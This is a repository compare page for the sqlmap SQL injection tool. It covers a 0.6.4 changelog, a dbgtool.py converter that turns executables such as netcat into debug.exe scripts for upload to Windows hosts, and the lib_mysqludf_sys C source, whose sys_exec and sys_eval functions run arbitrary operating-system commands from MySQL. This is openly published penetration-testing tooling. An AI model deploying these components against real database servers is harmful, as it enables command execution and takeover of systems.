mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-06 12:41:30 +00:00
Compare commits
64 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
b12d955274 | ||
|
|
770e000cb4 | ||
|
|
9ab174a444 | ||
|
|
77d9d22ceb | ||
|
|
dded57f1cd | ||
|
|
ad03684788 | ||
|
|
6054090191 | ||
|
|
a8d57bb031 | ||
|
|
193482a62b | ||
|
|
981c7a4428 | ||
|
|
793c323b2a | ||
|
|
d54a51a328 | ||
|
|
69204afe1f | ||
|
|
9631dc115e | ||
|
|
ae0f1985f3 | ||
|
|
deeccf9b5e | ||
|
|
1c5925ea2b | ||
|
|
7adbf5892d | ||
|
|
c25b49e80e | ||
|
|
96db179ffe | ||
|
|
f91843540f | ||
|
|
8f973ce574 | ||
|
|
161590e121 | ||
|
|
6690b4c00a | ||
|
|
bc3b4c6936 | ||
|
|
fd7cb9101c | ||
|
|
bc448211c5 | ||
|
|
73e713c5ba | ||
|
|
26cb082fc3 | ||
|
|
de393628d0 | ||
|
|
5560f0b68a | ||
|
|
92645dd264 | ||
|
|
9b0f11f879 | ||
|
|
e10ab5aa0e | ||
|
|
9c125a2b57 | ||
|
|
6ff8feb5cf | ||
|
|
d0604ef513 | ||
|
|
2d87a3349f | ||
|
|
9c42a883be | ||
|
|
2cc3bb2f6a | ||
|
|
9e0d890171 | ||
|
|
c1010c20d8 | ||
|
|
a4d62af2ea | ||
|
|
9340bf59fb | ||
|
|
0e9873fd4f | ||
|
|
c83593c044 | ||
|
|
24ddbdc89d | ||
|
|
b0ad102efb | ||
|
|
79c8d63b88 | ||
|
|
64bb57d786 | ||
|
|
1f7810e46a | ||
|
|
064029cb2d | ||
|
|
04c187c66a | ||
|
|
2f406b3e56 | ||
|
|
c05f600e90 | ||
|
|
4ae464c80d | ||
|
|
f92b76a8b0 | ||
|
|
374b9ba878 | ||
|
|
35708a0b97 | ||
|
|
996a872e51 | ||
|
|
c18efe5084 | ||
|
|
8d06975142 | ||
|
|
7e8ac16245 | ||
|
|
ad228e6947 |
@@ -1,13 +1,33 @@
|
||||
sqlmap (0.6.4-1) stable; urgency=low
|
||||
|
||||
* Major enhancement to make the comparison algorithm work properly also
|
||||
on url not stables automatically by using the difflib Sequence Matcher
|
||||
object;
|
||||
* Major enhancement to support SQL data definition statements, SQL data
|
||||
manipulation statements, etc from user in SQL query and SQL shell if
|
||||
stacked queries are supported by the web application technology;
|
||||
* Major speed increase in DBMS basic fingerprint;
|
||||
* Minor enhancement to support an option (--is-dba) to show if the
|
||||
current user is a database management system administrator;
|
||||
* Minor enhancement to support an option (--union-tech) to specify the
|
||||
technique to use to detect the number of columns used in the web
|
||||
application SELECT statement: NULL bruteforcing (default) or ORDER BY
|
||||
clause bruteforcing;
|
||||
* Added internal support to forge CASE statements, used only by --is-dba
|
||||
query at the moment;
|
||||
* Minor layout adjustment to the --update output;
|
||||
* Increased default timeout to 30 seconds;
|
||||
* Major bug fix to correctly handle custom SQL "limited" queries on
|
||||
Microsoft SQL Server and Oracle;
|
||||
* Major bug fix to avoid tracebacks when multiple targets are specified
|
||||
and one of them is not reachable;
|
||||
* Minor bug fix to make the Partial UNION query SQL injection technique
|
||||
work properly also on Oracle and Microsoft SQL Server;
|
||||
* Minor bug fix to make the --postfix work even if --prefix is not
|
||||
provided;
|
||||
* Updated documentation.
|
||||
|
||||
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Day, DD MMM 2009 10:00:00 +0000
|
||||
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Tue, 3 Feb 2009 23:30:00 +0000
|
||||
|
||||
sqlmap (0.6.3-1) stable; urgency=low
|
||||
|
||||
|
||||
746
doc/README.html
746
doc/README.html
File diff suppressed because it is too large
Load Diff
BIN
doc/README.pdf
BIN
doc/README.pdf
Binary file not shown.
746
doc/README.sgml
746
doc/README.sgml
File diff suppressed because it is too large
Load Diff
11
doc/THANKS
11
doc/THANKS
@@ -116,9 +116,20 @@ Sven Schluter <sschlueter@netzwerk.cc>
|
||||
for providing with a patch for waiting a number of seconds between
|
||||
each HTTP request
|
||||
|
||||
Uemit Seren <uemit.seren@gmail.com>
|
||||
for reporting a minor adjustment when running with python 2.6
|
||||
|
||||
Sumit Siddharth <sid@notsosecure.com>
|
||||
for providing me with ideas on the implementation on a couple of
|
||||
features
|
||||
|
||||
M Simkin <mlsimkin@cox.net>
|
||||
for suggesting a feature
|
||||
|
||||
Konrads Smelkovs <konrads@smelkovs.com>
|
||||
for reporting a few bugs in --sql-shell and --sql-query on Microsoft
|
||||
SQL Server
|
||||
|
||||
Jason Swan <jasoneswan@gmail.com>
|
||||
for reporting a bug when enumerating columns on Microsoft SQL Server
|
||||
for suggesting a couple of improvements
|
||||
|
||||
24
extra/dbgtool/README.txt
Normal file
24
extra/dbgtool/README.txt
Normal file
@@ -0,0 +1,24 @@
|
||||
To use dbgtool.py you need to pass it the MS-DOS executable binary file,
|
||||
and optionally the output debug.exe script file name.
|
||||
|
||||
Example:
|
||||
|
||||
$ python ./dbgtool.py -i ./nc.exe -o nc.scr
|
||||
|
||||
This will create a ASCII text file with CRLF line terminators called
|
||||
nc.scr.
|
||||
|
||||
Such file can then be converted to its original portable executable with
|
||||
the Windows native debug.exe, that is installed by default in all Windows
|
||||
systems:
|
||||
|
||||
> debug.exe < nc.scr
|
||||
|
||||
To be able to execute it on Windows you have to rename it to end with
|
||||
'.com' or '.exe':
|
||||
|
||||
> ren nc_exe nc.exe
|
||||
|
||||
|
||||
Happy hacking!
|
||||
Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
114
extra/dbgtool/dbgtool.py
Executable file
114
extra/dbgtool/dbgtool.py
Executable file
@@ -0,0 +1,114 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
dbgtool.py - Portable executable to ASCII debug script converter
|
||||
Copyright (C) 2009 Bernardo Damele A. G.
|
||||
web: http://bernardodamele.blogspot.com/
|
||||
email: bernardo.damele@gmail.com
|
||||
|
||||
This library is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU Lesser General Public
|
||||
License as published by the Free Software Foundation; either
|
||||
version 2.1 of the License, or (at your option) any later version.
|
||||
|
||||
This library is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
Lesser General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Lesser General Public
|
||||
License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import os
|
||||
import sys
|
||||
import struct
|
||||
|
||||
from optparse import OptionError
|
||||
from optparse import OptionParser
|
||||
|
||||
|
||||
def convert(inputFile):
|
||||
fileStat = os.stat(inputFile)
|
||||
fileSize = fileStat.st_size
|
||||
|
||||
if fileSize > 65280:
|
||||
print 'ERROR: the provided input file \'%s\' is too big for debug.exe' % inputFile
|
||||
sys.exit(1)
|
||||
|
||||
script = 'n %s\r\nr cx\r\n' % os.path.basename(inputFile.replace('.', '_'))
|
||||
script += "%x\r\nf 0100 ffff 00\r\n" % fileSize
|
||||
scrString = ""
|
||||
counter = 256
|
||||
counter2 = 0
|
||||
|
||||
fp = open(inputFile, 'rb')
|
||||
fileContent = fp.read()
|
||||
|
||||
for fileChar in fileContent:
|
||||
unsignedFileChar = struct.unpack('B', fileChar)[0]
|
||||
|
||||
if unsignedFileChar != 0:
|
||||
counter2 += 1
|
||||
|
||||
if not scrString:
|
||||
scrString = "e %0x %02x" % (counter, unsignedFileChar)
|
||||
else:
|
||||
scrString += " %02x" % unsignedFileChar
|
||||
elif scrString:
|
||||
script += "%s\r\n" % scrString
|
||||
scrString = ""
|
||||
counter2 = 0
|
||||
|
||||
counter += 1
|
||||
|
||||
if counter2 == 20:
|
||||
script += "%s\r\n" % scrString
|
||||
scrString = ""
|
||||
counter2 = 0
|
||||
|
||||
script += "w\r\nq\r\n"
|
||||
|
||||
return script
|
||||
|
||||
|
||||
def main(inputFile, outputFile):
|
||||
if not os.path.isfile(inputFile):
|
||||
print 'ERROR: the provided input file \'%s\' is not a regular file' % inputFile
|
||||
sys.exit(1)
|
||||
|
||||
script = convert(inputFile)
|
||||
|
||||
if outputFile:
|
||||
fpOut = open(outputFile, 'w')
|
||||
sys.stdout = fpOut
|
||||
sys.stdout.write(script)
|
||||
sys.stdout.close()
|
||||
else:
|
||||
print script
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
usage = '%s -i <input file> [-o <output file>]' % sys.argv[0]
|
||||
parser = OptionParser(usage=usage, version='0.1')
|
||||
|
||||
try:
|
||||
parser.add_option('-i', dest='inputFile', help='Input binary file')
|
||||
|
||||
parser.add_option('-o', dest='outputFile', help='Output debug.exe text file')
|
||||
|
||||
(args, _) = parser.parse_args()
|
||||
|
||||
if not args.inputFile:
|
||||
parser.error('Missing the input file, -h for help')
|
||||
|
||||
except (OptionError, TypeError), e:
|
||||
parser.error(e)
|
||||
|
||||
inputFile = args.inputFile
|
||||
outputFile = args.outputFile
|
||||
|
||||
main(inputFile, outputFile)
|
||||
@@ -76,3 +76,7 @@ SQLMAP: [*] shutting down at: 16:23:21
|
||||
SQLMAP:
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(wmap_sqlmap) >
|
||||
|
||||
|
||||
Happy hacking!
|
||||
Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
|
||||
4
extra/mysqludfsys/lib_mysqludf_sys/Makefile
Normal file
4
extra/mysqludfsys/lib_mysqludf_sys/Makefile
Normal file
@@ -0,0 +1,4 @@
|
||||
LIBDIR=/usr/lib
|
||||
|
||||
install:
|
||||
gcc -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o $(LIBDIR)/lib_mysqludf_sys.so
|
||||
43
extra/mysqludfsys/lib_mysqludf_sys/install.sh
Executable file
43
extra/mysqludfsys/lib_mysqludf_sys/install.sh
Executable file
@@ -0,0 +1,43 @@
|
||||
#!/bin/bash
|
||||
# lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
||||
# Copyright (C) 2007 Roland Bouman
|
||||
# Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
|
||||
# web: http://www.mysqludf.org/
|
||||
# email: mysqludfs@gmail.com, bernardo.damele@gmail.com
|
||||
#
|
||||
# This library is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU Lesser General Public
|
||||
# License as published by the Free Software Foundation; either
|
||||
# version 2.1 of the License, or (at your option) any later version.
|
||||
#
|
||||
# This library is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# Lesser General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU Lesser General Public
|
||||
# License along with this library; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
echo "Compiling the MySQL UDF"
|
||||
make
|
||||
|
||||
if test $? -ne 0; then
|
||||
echo "ERROR: You need libmysqlclient development software installed "
|
||||
echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
|
||||
echo "apt-get install libmysqlclient15-dev"
|
||||
exit 1
|
||||
else
|
||||
echo "MySQL UDF compiled successfully"
|
||||
fi
|
||||
|
||||
echo -e "\nPlease provide your MySQL root password"
|
||||
|
||||
mysql -u root -p mysql < lib_mysqludf_sys.sql
|
||||
|
||||
if test $? -ne 0; then
|
||||
echo "ERROR: unable to install the UDF"
|
||||
exit 1
|
||||
else
|
||||
echo "MySQL UDF installed successfully"
|
||||
fi
|
||||
426
extra/mysqludfsys/lib_mysqludf_sys/lib_mysqludf_sys.c
Normal file
426
extra/mysqludfsys/lib_mysqludf_sys/lib_mysqludf_sys.c
Normal file
@@ -0,0 +1,426 @@
|
||||
/*
|
||||
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
||||
Copyright (C) 2007 Roland Bouman
|
||||
Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
|
||||
web: http://www.mysqludf.org/
|
||||
email: mysqludfs@gmail.com, bernardo.damele@gmail.com
|
||||
|
||||
This library is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU Lesser General Public
|
||||
License as published by the Free Software Foundation; either
|
||||
version 2.1 of the License, or (at your option) any later version.
|
||||
|
||||
This library is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
Lesser General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Lesser General Public
|
||||
License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
#define DLLEXP __declspec(dllexport)
|
||||
#else
|
||||
#define DLLEXP
|
||||
#endif
|
||||
|
||||
#ifdef STANDARD
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <time.h>
|
||||
#ifdef __WIN__
|
||||
typedef unsigned __int64 ulonglong;
|
||||
typedef __int64 longlong;
|
||||
#else
|
||||
typedef unsigned long long ulonglong;
|
||||
typedef long long longlong;
|
||||
#endif /*__WIN__*/
|
||||
#else
|
||||
#include <my_global.h>
|
||||
#include <my_sys.h>
|
||||
#endif
|
||||
#include <mysql.h>
|
||||
#include <m_ctype.h>
|
||||
#include <m_string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include <ctype.h>
|
||||
|
||||
#ifdef HAVE_DLOPEN
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#define LIBVERSION "lib_mysqludf_sys version 0.0.3"
|
||||
|
||||
#ifdef __WIN__
|
||||
#define SETENV(name,value) SetEnvironmentVariable(name,value);
|
||||
#else
|
||||
#define SETENV(name,value) setenv(name,value,1);
|
||||
#endif
|
||||
|
||||
DLLEXP
|
||||
my_bool lib_mysqludf_sys_info_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void lib_mysqludf_sys_info_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
char* lib_mysqludf_sys_info(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
);
|
||||
|
||||
/**
|
||||
* sys_get
|
||||
*
|
||||
* Gets the value of the specified environment variable.
|
||||
*/
|
||||
DLLEXP
|
||||
my_bool sys_get_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void sys_get_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
char* sys_get(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
);
|
||||
|
||||
/**
|
||||
* sys_set
|
||||
*
|
||||
* Sets the value of the environment variables.
|
||||
* This function accepts a set of name/value pairs
|
||||
* which are then set as environment variables.
|
||||
* Use sys_get to retrieve the value of such a variable
|
||||
*/
|
||||
DLLEXP
|
||||
my_bool sys_set_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void sys_set_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
long long sys_set(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *is_null
|
||||
, char *error
|
||||
);
|
||||
|
||||
/**
|
||||
* sys_exec
|
||||
*
|
||||
* executes the argument commandstring and returns its exit status.
|
||||
* Beware that this can be a security hazard.
|
||||
*/
|
||||
DLLEXP
|
||||
my_bool sys_exec_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void sys_exec_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
my_ulonglong sys_exec(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *is_null
|
||||
, char *error
|
||||
);
|
||||
|
||||
/**
|
||||
* sys_eval
|
||||
*
|
||||
* executes the argument commandstring and returns its standard output.
|
||||
* Beware that this can be a security hazard.
|
||||
*/
|
||||
DLLEXP
|
||||
my_bool sys_eval_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void sys_eval_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
char* sys_eval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
);
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
/**
|
||||
* lib_mysqludf_sys_info
|
||||
*/
|
||||
my_bool lib_mysqludf_sys_info_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
){
|
||||
my_bool status;
|
||||
if(args->arg_count!=0){
|
||||
strcpy(
|
||||
message
|
||||
, "No arguments allowed (udf: lib_mysqludf_sys_info)"
|
||||
);
|
||||
status = 1;
|
||||
} else {
|
||||
status = 0;
|
||||
}
|
||||
return status;
|
||||
}
|
||||
void lib_mysqludf_sys_info_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
char* lib_mysqludf_sys_info(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
){
|
||||
strcpy(result,LIBVERSION);
|
||||
*length = strlen(LIBVERSION);
|
||||
return result;
|
||||
}
|
||||
|
||||
my_bool sys_get_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
){
|
||||
if(args->arg_count==1
|
||||
&& args->arg_type[0]==STRING_RESULT){
|
||||
initid->maybe_null = 1;
|
||||
return 0;
|
||||
} else {
|
||||
strcpy(
|
||||
message
|
||||
, "Expected exactly one string type parameter"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
void sys_get_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
char* sys_get(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
){
|
||||
char* value = getenv(args->args[0]);
|
||||
if(value == NULL){
|
||||
*is_null = 1;
|
||||
} else {
|
||||
*length = strlen(value);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
my_bool sys_set_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
){
|
||||
if(args->arg_count!=2){
|
||||
strcpy(
|
||||
message
|
||||
, "Expected exactly two arguments"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
if(args->arg_type[0]!=STRING_RESULT){
|
||||
strcpy(
|
||||
message
|
||||
, "Expected string type for name parameter"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
args->arg_type[1]=STRING_RESULT;
|
||||
if((initid->ptr=malloc(
|
||||
args->lengths[0]
|
||||
+ 1
|
||||
+ args->lengths[1]
|
||||
+ 1
|
||||
))==NULL){
|
||||
strcpy(
|
||||
message
|
||||
, "Could not allocate memory"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
void sys_set_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
if (initid->ptr!=NULL){
|
||||
free(initid->ptr);
|
||||
}
|
||||
}
|
||||
long long sys_set(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *is_null
|
||||
, char *error
|
||||
){
|
||||
char *name = initid->ptr;
|
||||
char *value = name + args->lengths[0] + 1;
|
||||
memcpy(
|
||||
name
|
||||
, args->args[0]
|
||||
, args->lengths[0]
|
||||
);
|
||||
*(name + args->lengths[0]) = '\0';
|
||||
memcpy(
|
||||
value
|
||||
, args->args[1]
|
||||
, args->lengths[1]
|
||||
);
|
||||
*(value + args->lengths[1]) = '\0';
|
||||
return SETENV(name,value);
|
||||
}
|
||||
|
||||
my_bool sys_exec_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
){
|
||||
unsigned int i=0;
|
||||
if(args->arg_count == 1
|
||||
&& args->arg_type[i]==STRING_RESULT){
|
||||
return 0;
|
||||
} else {
|
||||
strcpy(
|
||||
message
|
||||
, "Expected exactly one string type parameter"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
void sys_exec_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
my_ulonglong sys_exec(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *is_null
|
||||
, char *error
|
||||
){
|
||||
return system(args->args[0]);
|
||||
}
|
||||
|
||||
my_bool sys_eval_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
){
|
||||
unsigned int i=0;
|
||||
if(args->arg_count == 1
|
||||
&& args->arg_type[i]==STRING_RESULT){
|
||||
return 0;
|
||||
} else {
|
||||
strcpy(
|
||||
message
|
||||
, "Expected exactly one string type parameter"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
void sys_eval_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
char* sys_eval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
){
|
||||
FILE *pipe;
|
||||
char line[1024];
|
||||
unsigned long outlen, linelen;
|
||||
|
||||
result = malloc(1);
|
||||
outlen = 0;
|
||||
|
||||
pipe = popen(args->args[0], "r");
|
||||
|
||||
while (fgets(line, sizeof(line), pipe) != NULL) {
|
||||
linelen = strlen(line);
|
||||
result = realloc(result, outlen + linelen);
|
||||
strncpy(result + outlen, line, linelen);
|
||||
outlen = outlen + linelen;
|
||||
}
|
||||
|
||||
pclose(pipe);
|
||||
|
||||
if (!(*result) || result == NULL) {
|
||||
*is_null = 1;
|
||||
} else {
|
||||
result[outlen] = 0x00;
|
||||
*length = strlen(result);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
|
||||
#endif /* HAVE_DLOPEN */
|
||||
278
extra/mysqludfsys/lib_mysqludf_sys/lib_mysqludf_sys.html
Normal file
278
extra/mysqludfsys/lib_mysqludf_sys/lib_mysqludf_sys.html
Normal file
@@ -0,0 +1,278 @@
|
||||
<?xml version="1.0" encoding="UTF-8" ?>
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|
||||
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||
<head>
|
||||
<link rel="stylesheet" type="text/css" href="../mysqludf.css"/>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
|
||||
<title>lib_mysqludf_sys - A library of MySQL UDFs for working with the environment in which MySQL runs</title>
|
||||
</head>
|
||||
<body>
|
||||
<div>
|
||||
<a href="../index.html">Top</a>
|
||||
| <a href="../mysql_udf_repository_libraries.html">Up</a>
|
||||
</div>
|
||||
<h1>lib_mysqludf_sys</h1>
|
||||
<div>
|
||||
<a href="lib_mysqludf_sys.html">Documentation</a>
|
||||
| <a href="lib_mysqludf_sys.so">Binary</a>
|
||||
| <a href="lib_mysqludf_sys.sql">Installation</a>
|
||||
| <a href="lib_mysqludf_sys.c">Source</a>
|
||||
| <a href="lib_mysqludf_sys_0.0.2.tar.gz">tar.gz</a>
|
||||
</div>
|
||||
<p>
|
||||
This library <code>lib_mysqludf_sys</code> contains a number of functions that allows one to interact with the operating system.
|
||||
</p>
|
||||
<ol>
|
||||
<li><a href="#sys_eval"><code>sys_eval</code></a> - executes an arbitrary command, and returns it's output.</li>
|
||||
<li><a href="#sys_exec"><code>sys_exec</code></a> - executes an arbitrary command, and returns it's exit code.</li>
|
||||
<li><a href="#sys_get"><code>sys_get</code></a> - gets the value of an environment variable.</li>
|
||||
<li><a href="#sys_set"><code>sys_set</code></a> - create an environment variable, or update the value of an existing environment variable.</li>
|
||||
</ol>
|
||||
<p>
|
||||
Use <a href="#lib_mysqludf_sys_info"><code>lib_mysqludf_sys_info()</code></a> to obtain information about the currently installed version of <code>lib_mysqludf_sys</code>.
|
||||
</p>
|
||||
|
||||
|
||||
<a name="sys_eval"></a><h2>sys_eval</h2>
|
||||
<p>
|
||||
<code>sys_eval</code> takes one command string argument and executes it, returning its output.
|
||||
</p>
|
||||
<h3>Syntax</h3>
|
||||
<pre>sys_eval(<b>arg1</b>)</pre>
|
||||
<h3>Parameters and Return Values</h3>
|
||||
<dl>
|
||||
<dt><code><b>arg1</b></code></dt>
|
||||
<dd>
|
||||
A command string valid for the current operating system or execution environment.
|
||||
</dd>
|
||||
<dt>returns</dt>
|
||||
<dd>
|
||||
Whatever output the command pushed to the standard output stream.
|
||||
</dd>
|
||||
</dl>
|
||||
<h3>Installation</h3>
|
||||
<p>
|
||||
Place the shared library binary in an appropriate location.
|
||||
Log in to mysql as root or as another user with sufficient privileges, and select any database.
|
||||
Then, create the function using the following DDL statement:
|
||||
</p>
|
||||
<pre>
|
||||
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
|
||||
</pre>
|
||||
<p>
|
||||
The function will be globally available in all databases.
|
||||
</p>
|
||||
<p>
|
||||
The deinstall the function, run the following statement:
|
||||
</p>
|
||||
<pre>
|
||||
DROP FUNCTION sys_eval;
|
||||
</pre>
|
||||
<h3>Examples</h3>
|
||||
<p>
|
||||
None yet
|
||||
</p>
|
||||
<h3>A Note of Caution</h3>
|
||||
<p>
|
||||
Be very careful in deciding whether you need this function.
|
||||
UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
|
||||
As the commandstring passed to <code>sys_exec</code> can do pretty much everything,
|
||||
exposing the function poses a very real security hazard.
|
||||
</p>
|
||||
<p>
|
||||
Even for a benign user, it is possible to accidentally do a lot of damage with it.
|
||||
The call will be executed with the privileges of the os user that runs MySQL,
|
||||
so it is entirely feasible to delete MySQL's data directory, or worse.
|
||||
</p>
|
||||
<p>
|
||||
The function is intended for specialized MySQL applications where one needs extended
|
||||
control over the operating system.
|
||||
Currently, we do not have UDF's for ftp, email and http,
|
||||
and this function can be used to implement such functionality in case it is really necessary
|
||||
(datawarehouse staging areas could be a case in example).
|
||||
</p>
|
||||
<p>
|
||||
You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
|
||||
</p>
|
||||
<p>
|
||||
If you do decide to use this library in a production environment, make sure that only specific commands can be run and file access is limited by using <a href="http://www.novell.com/documentation/apparmor/index.html">AppArmor</a>.
|
||||
</p>
|
||||
|
||||
<a name="sys_exec"></a><h2>sys_exec</h2>
|
||||
<p>
|
||||
<code>sys_exec</code> takes one command string argument and executes it.
|
||||
</p>
|
||||
<h3>Syntax</h3>
|
||||
<pre>sys_exec(<b>arg1</b>)</pre>
|
||||
<h3>Parameters and Return Values</h3>
|
||||
<dl>
|
||||
<dt><code><b>arg1</b></code></dt>
|
||||
<dd>
|
||||
A command string valid for the current operating system or execution environment.
|
||||
</dd>
|
||||
<dt>returns</dt>
|
||||
<dd>
|
||||
An (integer) exit code returned by the executed process.
|
||||
</dd>
|
||||
</dl>
|
||||
<h3>Installation</h3>
|
||||
<p>
|
||||
Place the shared library binary in an appropriate location.
|
||||
Log in to mysql as root or as another user with sufficient privileges, and select any database.
|
||||
Then, create the function using the following DDL statement:
|
||||
</p>
|
||||
<pre>
|
||||
CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so';
|
||||
</pre>
|
||||
<p>
|
||||
The function will be globally available in all databases.
|
||||
</p>
|
||||
<p>
|
||||
The deinstall the function, run the following statement:
|
||||
</p>
|
||||
<pre>
|
||||
DROP FUNCTION sys_exec;
|
||||
</pre>
|
||||
<h3>Examples</h3>
|
||||
<p>
|
||||
None yet
|
||||
</p>
|
||||
<h3>A Note of Caution</h3>
|
||||
<p>
|
||||
Be very careful in deciding whether you need this function.
|
||||
UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
|
||||
As the commandstring passed to <code>sys_exec</code> can do pretty much everything,
|
||||
exposing the function poses a very real security hazard.
|
||||
</p>
|
||||
<p>
|
||||
Even for a benign user, it is possible to accidentally do a lot of damage with it.
|
||||
The call will be executed with the privileges of the os user that runs MySQL,
|
||||
so it is entirely feasible to delete MySQL's data directory, or worse.
|
||||
</p>
|
||||
<p>
|
||||
The function is intended for specialized MySQL applications where one needs extended
|
||||
control over the operating system.
|
||||
Currently, we do not have UDF's for ftp, email and http,
|
||||
and this function can be used to implement such functionality in case it is really necessary
|
||||
